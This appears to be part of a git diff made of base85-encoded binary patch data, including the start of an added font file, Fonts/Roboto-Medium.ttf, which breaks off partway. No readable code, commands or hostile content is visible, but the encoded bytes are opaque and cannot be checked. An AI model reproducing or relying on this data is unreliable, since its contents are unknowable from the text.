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 literal 0 HcmV?d00001 diff --git a/Fonts/Roboto-Medium.ttf b/Fonts/Roboto-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..87983419893a8952c3f286dc56d37fb94e320da0 GIT binary patch literal 160696 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 